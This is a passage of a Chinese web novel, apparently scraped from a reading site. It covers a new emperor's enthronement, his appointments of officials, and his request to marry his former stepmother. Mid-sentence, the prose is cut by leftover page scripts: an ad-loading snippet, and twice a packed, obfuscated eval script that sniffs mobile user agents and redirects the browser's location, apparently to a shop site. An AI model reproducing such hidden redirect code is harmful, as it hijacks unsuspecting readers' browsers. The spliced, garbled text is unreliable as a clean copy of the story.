他迈开小短腿就跑进亭子里,扒在石桌上,兴奋地看着奶香四溢的茶壶。 管事额头上冷汗涟涟,心道安定侯府人才辈出,怎么教出来的孩子这么不懂规矩,一点做客的礼节都不懂吗! 这要是在别人家里也就罢了,可王爷是什么人啊! 那是未来的天子,冲撞了天子,这谁还能护得住这孩子啊! 彼时萧怀琳刚盖好茶壶的盖子,就看到一个奶团子“哒哒哒”地跑过来,一双水汪汪的眼睛又大又亮,神采奕奕。 他还记得这孩子,是纨绫。 只是还未等他说些什么,这孩子又跑到了他身侧,一双肉乎乎的小手伸了出来,抓起他腰间的香囊,仔细地闻了闻,而后高兴道:“这个味道我知道了!” 管事都看傻了,我的小祖宗啊,王爷的贴身物件那是能碰的吗! 然而出乎管事的意料,萧怀琳眼见着这孩子拿起心上人送给他的香囊,却并未动怒,伸出手捏了捏这孩子的小狗鼻子,含笑道:“你知道什么了?” 杨纨绫抬起头,兴奋地看着面前人,一双水汪汪的大眼睛里闪烁着宝石般的流光:“你身上的香味,姨娘调过一模一样的香料!” “嗯。”萧怀琳揉了揉奶团子的头,目光在不经意间变得温柔,“真聪明。” 管事呆呆地看着这一幕,险些怀疑自己在做梦。 自王爷被带到王府来的那日起,到现在已经四年有余了。 这四年里,他从未见王爷笑过。 更别提,王爷居然能有这么,这么...... 温柔的时候。 管事发愣的空当,另外三个兄弟已经步入了亭内。 萧怀琳扭过头看向来处,只见三个年轻俊俏的少年郎逆着光缓步走来,脸颊带笑,步伐稳健。 他含笑望着三个弟弟:“来了?” “来了!”杨纨岚第一个蹿到石桌旁,“大哥在煮奶茶吗?” “茶叶是事先泡好的,直接和奶混在一起也一样。”萧怀琳温声道,“都坐,不必拘束。” 闻言,几个兄弟也不含糊,径直坐到了桌前。 杨纨绫也跑到石凳旁,想要爬上去,奈何石凳太高,他那两条小短腿奋力地蹬啊蹬,跳啊跳,小屁股扭来扭去的,怎么都上不去。 杨纨岚笑得前仰后合,杨纨玦无奈地过去抱起弟弟,把他放到了石凳上。 奶团子涨红了脸瞪着笑个不停地杨纨岚,气鼓鼓道:“三哥不许笑!” “母亲说了,我每年都在长高,要不了多久就能和哥哥们一样高了!” 杨纨岚笑得肚子疼,一边捂着肚子抽搐一边强忍住笑:“好好好,哈哈哈,等你长高!” 杨纨枫默默地叹了口气。 萧怀琳看着面前欢快的一幕,发自内心的高兴。 有多久,他没这么轻松过了? 没有那些权势谋算,没有那些战场纷争,就只是简简单单地和家人呆在一起,喝杯茶,说些有的没的。 末了他站起身,提起茶壶,给自家弟弟们的茶杯里都倒上奶茶,笑道:“先前纨枫和纨岚去县试时,我就说过,若是将来高中,必然请你们到府上吃茶,如今终于实现了。” 杨纨绫个子矮,下巴刚刚抵到石桌上,他眼巴巴地看着哥哥们都接过了茶杯,最后又数了数桌上的茶具,顿时皱起了眉头:“不对啊,少一套!” 他那一双水汪汪的大眼睛顿时闪烁出了几分泪意,委屈巴巴地看向萧怀琳:“大哥哥,为什么没有我的茶具啊?” 这一招装可怜卖萌,杨纨绫在家里屡试不爽,只要他一哭,姨娘和丫鬟们都心疼地了不得,就算母亲再生气的时候,见到他哭也能立刻消火。 只是萧怀琳见到这孩子可怜巴巴的模样,却并未流露出心软的神色。 他伸出手揉了揉杨纨绫的小脑袋,温声道:“大哥先前不知道你来,所以没有准备。” 随后萧怀琳便扭过头吩咐管事:“再拿一套茶具,再去搬个高脚凳过来。” 管事还是有些呆呆的模样,今日王爷的反差对他的冲击太大了,但是多年的管事经验还是让他下意识得了令,匆匆退了下去。 杨纨绫眨巴眨巴大眼睛,看着萧怀琳平静如水的目光,他觉得这招好像对这个大哥哥奏效了,但是又好像没有。 杨纨玦把自己的茶杯让给四弟,杨纨绫欢天喜地地接过茶杯,喝了一口香甜的奶茶:“谢谢大哥!” “你叫他大哥,那我怎么办?”萧怀琳含笑看着身旁的奶团子。 “啊?”杨纨绫呆呆地看向萧怀琳,“你也想当大哥吗?” 四个兄长都笑了。 “不是想当,是要当。”萧怀琳伸出骨节分明的大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手,点了点奶团子的鼻子,打趣道,“我决定当你们四个人的大哥,你愿意吗?” 杨纨绫更呆了:“可是,我们四个都是母亲的儿子啊,你也是母亲的儿子吗?” 杨纨绫尚在襁褓之中便丧父,在他的眼里,父亲只是一个模糊的概念,因此说到血缘之间的纽带,他只认母亲,不认父亲。 听到杨纨绫的话,萧怀琳的目光愈加温柔了几分,他轻轻点了点头,嘴角浮现出了几分温柔的笑意:“对,我也是母亲的儿子。” 杨纨绫随即看向其他几个兄长,想要向兄长们求证。 随后他的三个兄长不约而同地点了点头。 “那......”杨纨绫皱起一张小脸,“可是你姓萧啊,我和三个哥哥都姓杨啊!” 萧怀琳不由得轻笑出声,这小子这么小就是个鬼机灵的。 “我问你,我们的母亲姓什么?” “姓苏!”杨纨绫兴奋地举起手,这题他会。 “可是母亲姓苏,你们却姓杨啊。”萧怀琳循循善诱道,“你们和母亲的姓不一样,却都是母亲的儿子,所以我的姓虽然和母亲不一样,但也是母亲的儿子。” “唔......”杨纨绫觉得自己的小脑袋瓜有点不够用了,“所以就算不同姓,也能做兄弟吗?” 眼见着自家傻弟弟真被糊弄成功了,杨纨岚使劲捶着自己的腿,努力不让自己笑出声。 杨纨玦和杨纨枫无奈地叹了口气。 “对。”萧怀琳这般说着,自己都忍不住笑了。 “那样的话。”杨纨绫认真思索着,“那我还有其他不同姓的兄弟吗?” “没了。”萧怀琳笑着摇头。 “那......”杨纨绫包子一样的小脸皱成一团,认真想了好一会,最后才道,“要是哥哥们都同意的话,那我也同意你当大哥!” “好。”萧怀琳看向另外三个弟弟,“你们都没什么意见吧?” 杨纨岚笑得上气不接下气,一边喘气一边摆手:“没,没了!” 杨纨枫不禁伸出手扶额道:“没有。” 杨纨玦伸出手,朝大哥比了一个大拇指。 “那好。”萧怀琳又看向身侧的奶团子,努力让自己的神色看起来比较认真,“所以现在我是大哥,纨玦是二哥,纨枫是三哥,纨岚是四哥,知道了吗?” “那我是小五?”杨纨绫指着自己。 “没错。”萧怀琳揉了揉小五的脑袋,又道,“但是我们五个之间的事情只能告诉母亲,其他人都不可以提起,知道吗?” 杨纨绫看着大哥严肃的神色,顿时认识到了这一定是一件很重要的事情,他一本正经地点了点头:“这是我们和母亲之间的秘密,我知道了!” 别人都管大哥叫宁安王,大哥的身份肯定和他们很不一样,他们要给大哥保密! 杨纨枫推了推笑得满脸通红的杨纨岚:“你小心笑晕过去。” 糊弄完了小孩,萧怀琳不由得看向其他几个弟弟。 他吩咐侍卫端上来一个托盘,上面放着笔墨砚台,还有一个小册子。 “有关新官的任命,大部分都已经拟定好了,只是还有一项。” 三个弟弟闻言,连忙坐直了身体。 杨纨岚使劲捏了捏自己笑抽的脸蛋,让自己迅速严肃起来。 他的户部侍郎,他的户部侍郎啊!!! 萧怀琳瞥见杨纨岚的小动作,笑了笑没说话。 他拿起小册子翻开其中一页,随后拿起架在笔山上的毛笔,看向杨纨玦。 “你小子文武双全,科举出身,短短时间内就能在兵部政绩斐然,却又在战场立下了汗马功劳,所以你的官职我一直定不下来。” “你是打算继续从文,升任兵部侍郎;还是打算从武,做我的禁军统领?” 137. 求娶第一关 兄弟五人畅谈许久,最后告别大哥,坐马车回到了侯府。 临离开时,杨纨枫带回了萧怀琳的一封拜帖。 当这封拜帖被放置到祝贤盛的面前时,后者才渐渐从书卷中抬起头来。 “这是大哥给您的拜帖,说是明日回来府上拜会。” 西征此行,祝贤盛为总军师,统筹全局,如今新帝登基,想来授官封爵是必不可少的。 杨纨枫不禁想到,如果曾祖也能步入仕途,即便做不成丞相,也算是能全了一半的心愿了。 不过自然,他依旧会努力往上爬,等有一日能做到丞相,给曾祖和母亲增光。 祝贤盛缓缓打开那封拜帖,心里想的却是另一件事。 他那宝贝孙女,和萧怀琳那个混小子之间的事。 他已经是半截身子快入土的人了,什么功勋荣誉,早就不重要了。 但是他就算拼了这条老命,也必然要护他的孙女到底。 祝贤盛盯着手里的拜帖良久,直到杨纨枫喊了他一声,才将将回过神。 他最后把那封拜帖往桌上一扔,没好气道:“下去吧。” 杨纨枫见拜帖没有扔回到自己身上,便知曾祖是收下了,笑着道:“那曾孙就告退了。” 等出了祝贤盛的院子,杨纨枫又去碧月轩告知母亲,苏若琳知晓了萧怀琳那小子明日会来,连忙开始张罗招待。 “怀琳明日何时来?若是午时来,是不是要留下用膳?” 杨纨枫含笑着点头:“对,大哥午前来,是想着和曾祖说完话顺便再吃个饭。” “那可好。”苏若琳的脸上同样展露出了一个笑容,“绿俏,你去让小厨房准备个鸳鸯锅,再多调些麻油,吩咐后厨那边把虾滑提前弄好,那小子爱吃麻油和虾滑。” 昨日她回来时,正好府里种的辣椒结果了,她原本是打算今夜晚膳吃麻辣烫的,只是若那小子要来,那就等到明日再说吧。 她这般想着,又吩咐红烛:“明日再让下人多摘些番茄,午前的时候往老爷子院子送两盘,午膳再弄个番茄锅。” 一半麻辣锅,一半番茄锅,这番茄锅也是她后来琢磨出来的,不知道那小子会不会喜欢。 若不是鸳鸯锅只有两半,她还想再弄个菌汤锅的,让那小子把每种锅底都尝尝。 杨纨枫看着母亲因为大哥的到来逐渐兴奋,在那忙进忙出的,出声道:“那儿子就先告退了。” 苏若琳连忙唤住他,笑得明媚:“等明日你和纨岚也来一块用午膳吧,咱们娘四个也很久没有一起用膳了。” 昔年怀琳还是婉枝的时候,纨枫和纨岚还对侯府有些怕生,三个孩子都相当依赖她,一起到她的院里用膳是常有的事。 一转眼,三个孩子都这般大了,建功立业,救世治国,曾经三个孩子围在她身边听故事,仿佛还是昨日的事情。 真令人怀念啊。 杨纨枫闻言点了点头,含笑道:“好。” · 到了翌日午前的时候,萧怀琳的马车果然在安定侯府的大门前停下,随后,一个身着墨蓝色衣袍,带着银色穷奇面具的少年郎缓缓走下马车。 少年郎身形高挑,腰背挺拔,即便被一副面具遮住了半张脸,仍难掩其俊俏的面容。 他抬头望向那横在赤红色大门上的牌匾,苍劲有力的“安定侯府”四个大字在乌金色的牌匾上显得格外夺目。 萧怀琳轻轻地笑了。 护卫在侧的侍卫想要上前去敲门,却被萧怀琳摆手拦了下来。 随后,萧怀琳亲自来到大门前,敲响了那赤红色的大门。 安定侯府的管事一早便在门内等候着,此时听到敲门声,连忙打开门迎了出来。 “小的见过王爷,王爷里边请!” 管事领着萧怀琳一路到了祝贤盛的院子,望着院子里熟悉的花草树木,青葱碧绿,萧怀琳那双秀丽的凤目中不禁闪过一丝怀念的神色。 老爷子的院子还是一如既往的生机盎然。 他抬腿步入屋内,祝贤盛已经在外间等候多时了。 自打杨纨岚出去经商,而杨纨玦和杨纨枫皆科举入仕以后,原本屋子里摆放着的那些桌椅便都被收了起来,屋内也空旷了许多。 只是杨纨岚从前上课画的那些涂鸦,那小子总是在纸上画完就随手往墙上柜子上一贴,如今那些纸却都还存在着,一张都没有被撕掉。 萧怀琳缓步来到祝贤盛身前,俯身行了一个晚辈礼:“见过曾祖。” 闻言,祝贤盛这才从书卷里抬起头来,看向面前谦逊行礼的少年郎,并未多言:“坐。” 萧怀琳在他对面坐下,身前已然放了一杯茶,还冒着热气,显然是刚沏好不久的。 他拿起茶杯抿了一口,是上好的龙井。 两人相对无言。 祝贤盛见他欲言又止的模样,冷笑一声,先开口问道:“明日便是登记大典了,王爷不去为登基做准备,来找我这老家伙做什么?” 萧怀琳的眼中闪过恭顺的神色:“明日登基大典过后授爵封官,虽然曾祖身体不便,但还是劳烦曾祖也到场。” 这话中的意思很明显了——授爵封官,也有祝贤盛的一份。 然而祝贤盛却摆了摆手:"不必了。" “我老了,不在乎那些名利权势了。”他说着悠悠地喝了口茶,“我来京城的时候,就是为了给纨枫和纨岚授业,如今他俩都有出息了,等再过几日,我就带着我孙女回柳州养老。” 萧怀琳驀地瞪大双眼:“母亲要跟着您回柳州?!” 安定侯府和苏家可能答应? “你不信啊。”祝贤盛冷哼一声,“那你去问小妮子,问她我说的是不是真的。” 萧怀琳低下头沉默了。 母亲,母亲想要跟着曾祖回柳州吗? 为什么? 为什么...... 母亲是,是想要躲着他吗...... 他的若琳,到最后,到最后还是不愿意接受她...... 祝贤盛眼见着萧怀琳原本挣扎的眼中闪过剧痛,而后变得越来越暗淡,越来越痛苦,终是叹了口气:“你日后还要广开选秀,册后封妃,为皇家开枝散叶。” 孙女和这小子的事,祝贤盛思量过许久,最后能想到的原因大抵也就是,这小子从小遭逢苦难,自家孙女可能是唯一愿意对他好的人,所以这小子就恋慕上了自己的继母。 实在不必。 等他继承了皇位就会发现,日后,身边的人全是愿意对他好的人。 不拘于趋炎附势、巴结奉承,亦或真心实意,对他好的人会络绎不绝。 而萧怀琳听到此言,眼中的痛苦在顷刻间消散了。 他缓缓站起身,撩开衣袍的下摆,在祝贤盛的面前跪了下来。 明明是在跪着,可是少年郎的身上却带着一种一往无前的气势,他抬头看向眼前的老人,一字一顿道:“萧楚宗室萧怀琳,欲迎娶苏家长女苏若琳为妻,望长辈恩准。” 他对面的祝贤盛手一抖,手中的茶杯也顷刻间掉落到了地上。 顿时,清脆的声音响起,瓷器的碎片飞溅,擦过萧怀琳的手掌,留下了一道鲜红的血痕。 可是他却像感受不到疼痛一般,身形跪得笔直,神色充满了坚定。 而跟随着瓷器的摔碎声一同响起的,是祝贤盛的吼声:“她是你的母亲!!!” 彼时在安定侯府的后厨,一个下人正端了两盘番茄白糖出来,哼着小调往前院走去。 路遇洒扫的丫鬟,笑着问他:“你这是要去哪啊?” 下人出了个口哨,神情愉悦:“夫人一早吩咐好了,今日有贵客来,要送两盘番茄到老爷子院子里,招待贵客!” “哦~”丫鬟了然地点了点头,“那你快去吧,晚了可就不好了。” “可不是吗!”下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957756|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人说着便小跑了起来,乐呵呵地跑远了。 等进了老爷子的院子,他轻轻地敲了敲屋子的门,生怕打扰到老爷子和贵客的要事。 可是过了许久,也没听见屋里有任何动静。 这次下人敲门的力度稍大了一些。 屋里终于传来到了老爷子的声音,语气中夹带着一丝不易察觉的愠怒:“何事?” 下人连忙恭敬道:“夫人派小的送两盘番茄过来,给您和贵客享用。” “用不着!”屋内的声音吼道,“滚出去!” 闻言,下人一愣,老爷子可从来没有发过这么大的火! 可他也深知不该在此时触主子的眉头,他连忙冷汗涟涟地告退了。 而在屋内,祝贤盛已经拄着拐站了起来,他低头看着跪在地上的少年郎,目光冰冷:“你到底是怎么敢的?” 萧怀琳的眼中带着几分破釜沉舟的决绝,毅然道:“她不过曾经是我的继母,仅此而已。” “她已经嫁过人了!”祝贤盛厉色道。 “晚辈不在乎。” 祝贤盛深吸了一口,他那双因气极而颤抖的手哆哆嗦嗦地拿起茶壶,勉强给自己倒了杯茶,茶水进了茶杯里的有半杯,洒到桌上的却足足有一杯。 他将那半杯茶水一饮而尽,而后看向目不斜视的萧怀琳。 “我问你,小妮子比你大了足足有五岁,日后你广开选秀,后宫佳丽三千,而她色衰爱弛,你要如何保证她在后宫不被生吞活剥!” 萧怀琳定定地看着眼前盛怒的老人,语气坚定:“若晚辈能娶她为妻,偌大后宫有她一人足矣;若是不能,此生晚辈也不会再娶妻纳妾。” “晚辈此生,非她不娶。” “好好好。”祝贤盛被气笑了,“非她不娶是吧?” 好一个非她不娶! “你就没想过,你若是娶了她,日后怎么面对纨玦和纨枫!” 纨玦和纨枫此战有功,日后必定青云直上,或为朝中重臣,这孽障敢强夺他们的母亲,就不怕君臣离心吗! 萧怀琳静默了片刻,缓缓道:"晚辈会说服他们的,正如同晚辈现在正在说服您一样。" 此言一出,祝贤盛却是怔住了。 他拄着拐重新坐回到了椅子上,屋内陷入了良久的沉默。 过了良久,祝贤盛终于重重地叹了一口气。 “若是你也能说服小妮子和其他人,你们这事,我就不管了。” 闻言,萧怀琳一怔,那一张白皙的脸上逐渐泛红,展露出了一个欣喜的笑容。 “晚辈谢曾祖!” “赶紧滚!”祝贤盛看见他就烦。 萧怀琳乐呵呵地站起身,高兴得走起路来都有些同手同脚。 他刚要走出门时,忽地又想到了什么,连忙退了回来:“哦对了,差点忘了正事。” “明日登基大典还望曾祖出席,位百官首列,接受封官。” “......位列哪?”祝贤盛愣愣地看着他。 百官首列,那,那不是...... 萧怀琳含笑道:“百官之长,位列丞相。” 丞,丞相? 祝贤盛隐藏在袖子里的手逐渐攥紧:“那张辅之是个什么位置?” 萧怀琳略微一愣,疑惑道:“高祖曾拜张太师为相,却当场遭拒,最后百般推脱,委任其太师虚衔。” “张太师不愿做实官,这不是广为人知的事情么?” “他现在愿意了。”祝贤盛轻咳了一声,“你若是觉得他合适,就给他一个,若是觉得他不合适,还做让他做太师也行,看你自己。” 萧怀琳低头思索了片刻,逐渐露出了一个了然的神色,含笑道:“晚辈明白了。” “那,晚辈告退。” 待到萧怀琳离开后,祝贤盛抬头望向窗外辽远的苍穹,眼中闪烁着难以言明的神色, 丞相啊...... 138. 新帝登基 午膳时分,苏若琳张罗着把锅子架好,杨纨岚不知道从哪翻出来了一幅画。 “咦,这幅画怎么在母亲这?” 正在低头看书的杨纨枫抬起头,只见杨纨岚展开的丝绸卷轴上,一副峭壁阔海图栩栩如生。 而这幅画的画师——如玉大师本人,则一脸茫然地看着自己的兄长:“这幅画我记得是送去珍宝阁拍卖了啊,怎么会在这里?” 杨纨枫不由得轻笑了一声。 有谁能想到,如此精妙绝伦的画作,居然是面前这个十四岁的傻小子画出来的? “这是先前母亲出门逛街的时候买回来的。” “啊?”杨纨岚傻眼道,“那得花不少钱吧!” “哎呀,下次母亲想要的时候跟我说啊,我给母亲画一百幅,每幅都比这个好!”他唉声叹息地将这幅画重新卷了起来。 “那段时间你音信全无,母亲日夜担心你是否遇到了危险。”杨纨枫没好气地瞥了他一眼,“若是你能给母亲回个信,不比一百幅画有用。” 杨纨岚傻笑着挠了挠头:“我这不是身负重任嘛……” 他话音未落,屋外忽地响起了丫鬟的声音:“这位公子,此处是内院!” 彼时苏若琳刚吩咐丫鬟们把配菜和调料都摆放好,闻声便知是萧怀琳来了。 她连忙走了出去,便见到一个戴着银色面具的俊俏儿郎正站在院门前,被不懂事的小丫鬟拦着不让进。 望着昔年带给他无数温暖记忆的院落,萧怀琳的语气都温柔了许多:“我来找你们夫人,麻烦通报一声。” “不用通报了。”院内响起了一道清丽的声音。 随后,一个国色天香的绝色佳人缓步走了过来,含笑看着眼前温润如玉的少年郎:“这位不是外人,放他进来。” 小丫鬟连忙让开,让萧怀琳进了院子。 “你来的正是时候。”苏若琳上前拍了拍少年郎的肩膀,说着便拽起他的衣袖,“鸳鸯锅子刚备好,我专门调了你喜欢的调料,咱们快去尝尝,看看我调得对不对。” 萧怀琳低头看着身侧的心上人,一想到方才曾祖已经允许了他求娶他的若琳,一双秀丽的凤目变得愈加温柔。 “好。” 苏若琳牵着少年郎的衣袖便要带他进屋,忽地视线一转,看到少年郎的右手居然被划开了一道血口子。 那伤口不深,溢出的血珠子已经凝固,可是因为刚被划开不久,在白皙的手背上格外显眼。 苏若琳连忙捧起他的右手,惊讶道:“这是怎么弄的!” 她说着回过头去吩咐绿俏:“去拿芦荟膏过来!” 萧怀琳眉眼轻弯,露出了一个温柔的微笑:“小伤而已,没事的。” 不过一道浅浅的伤口,就能换来曾祖的同意,若是他的若琳也能答应他的求娶,这样的伤口他再多挨一百道也没关系。 看着他一副满不在乎的模样,苏若琳是无奈又心疼:“你呀,不管受了多大的伤都说是小伤!” 两人一道进了屋里,彼时杨纨枫和杨纨岚已经在桌前的椅子上坐好了,杨纨岚撸起衣服的袖子,大有一副奋力开干的架势。 见到苏若琳和萧怀琳进来,杨纨岚奋力地挥手:“母亲,大哥,你们快来!” 杨纨枫同样扭过头,俊俏的脸上露出了一个浅淡的笑意:“母亲,大哥。” 等到四个人全部落座以后,杨纨岚已经急不可耐地往锅子里下肉,他端起一盘牛肉直接全部丢进锅里。 苏若琳不禁笑道:“你这小子第一次吃麻辣烫就下了一整盘的牛肉,现在怎么还这样!” “牛肉好吃啊!”杨纨岚说着又端起了一盘蘑菇,往两个锅底里面各丢了几块,“不管是番茄牛肉还是香辣牛肉,都是最好吃的牛肉!” 肉很快就煮好了,苏若琳忙夹了一块番茄底的牛肉到萧怀琳的盘子里:“你尝尝这个锅底的肉。” 萧怀琳夹起那块牛肉放入口中,一股酸酸甜甜的味道顿时在口中弥漫开来,刺激着他的味蕾。 “很好吃。” 比他上次在家里吃的那顿,要好吃千倍万倍。 “那太好了!”苏若琳的脸上绽放出了满足的笑意。 她又将自己刚调好的调料递给萧怀琳:“你最喜欢的麻油,我混了点其他的,你尝尝,还合不合你的口味?” 一顿饭下来,苏若琳不停地给萧怀琳夹菜夹肉,仿佛是想到了孩子这些年来在外边吃不好喝不好,要一顿全都补回来似的。 等用过午膳,苏若琳和两兄弟一起送萧怀琳出了府。 望着那孩子一个离去的背影,苏若琳忙叫住他:“怀琳!” 少年郎闻声回过头,那一双秀丽的眼眸中布满了温柔,又似是带着几分期冀。 “若是想家了,你就回来。”苏若琳的眼眶有些泛红,“这儿永远是你的家。” 轻盈的话语像是一片羽毛,飘落到了萧怀琳的心上,柔软,温暖,又带着一丝痒意。 他望着心上人笑靥如花的面容,喉结动了动,声音变得有些沙哑:“好。” 他从来都觉得自己是个罪人,可是头一次,他觉得自己罪孽深重、罪该万死。 他已经不满足于把这里当做家了,也不满足于让他的心上人只是做他的母亲。 他想要让他的心上人,穿着大红的嫁衣,与他同拜天地,成为他的妻。 · 翌日,登基大典。 王公贵族与满朝文武早已就位,有封号的内外命妇也位列其中,看着高台上那个龙袍加身的少年郎,头戴十二旒平天冕,神情肃穆,昭告天下。 如今新帝未曾娶妻纳妾,更不曾有子女,因此内命妇的位置空了出来,让原本站在人群最末的外命妇们顶替空位,来到了前面。 礼官原本觉得不妥,内命妇原本单独授列,即便是空出来了,也该让百官和贵族多开几列,把空位匀分一下,怎么能让外命妇们上前来? 随后萧怀琳冷冷地瞥了他一眼:“你是在忤逆朕的旨意?” 他就要让他的若琳站在第一排,站在那原本属于皇后的位置,亲眼看着他昭告天下,登基为帝。 萧怀琳冰冷的话语一出口,礼官顿时觉得周身的气势森寒了几分,额头眨眼间便流下了冷汗。 他连忙道:“微臣岂敢,陛下的主意自然是极好的!” 于是乎,当破例站在外命妇最前列的二品侯夫人苏若琳悄悄抬起头,看着那个俊俏的少年郎缓缓走上高台时,秀丽的双眸中不禁流露出了欣慰的笑意。 周围有其他命妇察觉到她的小动作,惊恐于安定侯夫人居然敢在这种场合偷偷抬头,当真是胆子太大了! 只是惊恐归惊恐,她们不敢告发,更不敢学着做。 安定侯本人及其弟少年入仕,为先帝宠臣,如今新帝继位,恩宠更胜,日后必然地位超然,对于两朝宠臣的母亲,她们岂敢得罪? 更不用说京北苏家虽是商贾出身,却最早投靠新帝,日后必然也会加官封爵,娘家和夫家皆如此,这安定侯夫人可真是个好命的! 说不准,待会登基大典过后,安定侯就能复位杨国公,届时这位苏夫人可就真是外命妇中的一品首位了。 众人各有各的心思,只是随着高台上那位龙袍加身的少年郎出口念诵昭词,一股无形的威压铺天盖地袭来,众人无不将姿态摆得愈加恭敬。 新帝年十七,站于高台之上被万人注视毫不露怯,乃至其威严气势令万人跪地叹服,楚朝盛世可期。 登基大典过后,新帝带领百官至太极殿,接受百官朝贺,同时封赏勋贵。 太监李公公,展开那长长的诏书,尖声念诵道: “奉天承运,皇帝诏曰:新帝登基,封赏列侯百官有功之臣!” “草民祝贤盛与太师张辅之,皆治世之能、王佐之才,祝贤盛拜右相,张辅之封左相,可见天子不跪,早朝赐坐席上朝!” 见天子不跪,坐着上早朝?! 这是多么大的殊荣啊! 群臣原本低着头,听旨后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972025|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷不可思议地看向四周的同僚。 祝老先生确实有贤能,单看其学生杨二公子也能知道,只是从平民一跃成为百官之长,这是不是有些太草率了! 满朝文武犹记今年四月琼林宴,先帝给百官大换血的经历,难不成新帝也要重蹈覆辙吗?! 可有的官员却更惊讶于新帝竟然封张太师为左相。 张太师昔年婉拒高祖丞相之位的事,整个楚朝家喻户晓,为何新帝居然还要多此一举做无用功? 而且尽管左相和右相是分管不同的政务,但当朝向来以右为尊,新帝不仅让张太师做丞相,还要屈尊一个平民出身、默默无闻的人之后! 张太师那脾气可是能当着高祖的面翻脸的啊!新帝真的不担心事情闹僵,下不来台吗! 从方才李公公话音将落时,便有两个小太监各搬了一把椅子过来,脸上带着讨好的笑容。 “祝相,张相,二位请。” 满朝文武的目光全部聚集到了站在最前列的两位老人身上,只看这两位如何反应。 出乎他们意料的,两位老人竟然坦然地朝着龙椅之上的萧怀琳躬身一礼:“臣谢主隆恩。” 然后真的就迤迤然地在椅子上落座了! 甚至于祝相还有些自得地朝张相笑了一下,而张相而冷哼一声,不说话。 这,这...... 还未等百官回过神,便听得李公公继续道: “安定侯杨纨玦文武双全,治国平乱有功,特复其位,升任禁军统领,加封爵位,杨国公!” 禁军统领! 这可是皇帝左膀右臂的位子啊,这下杨家可真是恩宠更甚,更胜往日荣光! 而被封官的杨纨玦本人早在前日就知晓了这个结果,此时他反而面色平静、波澜不惊,行大礼跪谢:“臣谢主隆恩!” 随后,李公公继续道:“京北苏氏及家主苏泓,有从龙之功,加封爵位苏国公,御封苏家为皇商!” 国公爵位!还是皇商啊!这下苏家可真是发达了! 苏泓笑着跪谢:“臣谢主隆恩!” “司封司郎中杨纨枫,运筹帷幄,治世兴国,升任吏部尚书!” 吏,吏部尚书? 那小子才多大! 哦对,杨国公本人今年也不大。 ...... 新帝也太敢用了吧!比先帝胆子还大! 他真的不怕这么乱用人会祸乱朝纲吗!!! 其实不止百官诸臣,杨纨枫本人同样也有些诧异,前日里大哥只是问了二哥想要从文从武,其他的官勋之事一概未提。 没想到大哥这么信任他,居然让他直接做吏部尚书。 不过,杨纨枫的唇角勾起了一抹浅淡的笑意,他不会辜负兄长的期望的。 “臣谢主隆恩!” 彼时百官已经惊愕地说不出话了,以至于后面的尚书任命都没有听清。 杨家两兄弟全部委任高官,而且众人皆知,杨国公府如今的当家主母便是苏国公府的大小姐,两家可是姻亲啊! 新帝这是打算放任两家独大吗? 然而这还没完。 “杨国公府三公子杨纨岚,从龙之功,兼济天下,富好而兴其德,封户部侍郎!” 杨家三公子又是哪来的?!!! 杨国公和杨家二公子也算是殿试成名的少年天才,可谁认识杨家三公子啊! 杨纨岚在心里“哦耶”了一声,兴奋地跪谢道:“臣谢主隆恩!” 哈哈哈他的户部侍郎真的来啦! 杨纨岚封户部侍郎这件事,不仅是把满朝文武震惊了一把,就连他的两个兄长和外祖都是不可思议地瞪大眼睛。 这小子真是把所有人都蒙在鼓里啊! 而杨纨岚此时看着周围人惊讶的目光,心里已经爽翻了。 他故意把做大哥密探的事瞒着,不止是因为身份保密,也是为了今天! 嘿嘿嘿,他就是要偷偷地当上户部侍郎,然后惊艳所有人! 139. 求娶第二关 是夜,一辆样式简单、不甚宽大、也不甚华贵的马车在昔日的安定侯府,也就是如今的杨国公府门前缓缓停下。 两个坐在马车前的下人飞快地跑了下来,在地上垫好脚凳,随后一个去敲门,一个则掀开马车的门帘,搀扶着两位鹤发童颜的老人下了马车。 杨国公府的大门缓缓被打开,守门打着哈欠探出头来:“谁啊,今日国公府不见客!” 自从今日他们家的三位少爷和老爷子全都封官拜相,那拜帖真是如潮水一般络绎不绝地递过来,甚至更有人连拜帖都不给,直接上门拜访。 他们侯府,啊不,现在该叫国公府了。 他们国公府上次这么热闹,还是两位少爷金榜题名的时候,只是那个时候也仍旧没有现在这般热闹。 热闹得都让人觉得烦了。 因此夫人直接下了令,这三日闭门不见客。 守门这般想着,眯起眼睛看向停在不远处的马车,破破烂烂的,想来也不是什么名流贵族,怎么敢来他们国公府的? 还有这两个老头,年纪都这么大了...... 等等。 待他眯起眼睛仔细看清来者,原本不耐烦的神情登时露出了讨好的笑容:“原来是张相和儒圣先生,里边请里边请!” “好好好。”陆恒之乐呵呵地走了过来,边笑边伸出手指着乌木大门上那幅朱红色的牌匾,“你们这个牌匾还没换啊?” “那不着急!”守门笑着道,“夫人说了,过几日会有陛下亲笔御赐的牌匾送过来,到时候我们再换!” 陆恒之意味深长地“哦”了一声。 “别废话了,赶紧走吧。”见他一点不着急,张辅之不由得催促道。 深夜拜访人家府邸本就不合规矩,他还在这磨磨蹭蹭的。 陆恒之笑骂了一句:“你个老张,你还着急上了!” 